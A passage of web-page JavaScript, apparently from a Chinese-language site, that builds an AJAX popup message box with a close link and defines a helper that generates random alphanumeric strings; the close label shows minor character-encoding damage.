onclick="hideajaxMenu(\''+showid+'\');">[鍏抽棴]</a></div>';        var innet_load='<div class="ajax_loading" id="ajax_loading"></div>';        var innet_con='<div class="ajax_con" id="ajax_con"><span style="color: #702B2b;">'+(pm>0?innet_new:'')+(message!=''?innet_pm:'')+'</span></div>';        if(!$(showid+'_menu')) $('append_parent2').innerHTML='<div class="ajax_Tips" id="'+showid+'_menu">'+innet_close+innet_load+innet_con+'</div>';	        show_ajaxMenu(showid,2);    }}function randomChar(l)  {    var  x="0123456789poiuytrewqasdfghjklmnbvcxzQWERTYUIOPLKJHGFDSAZXCVBNM";    var  tmp="";    for(var  i=0;i<  l;i++)  {        tmp  +=  x.charAt(Math.ceil(Math.random()*100000000)%x.length);    }    return  tmp;}
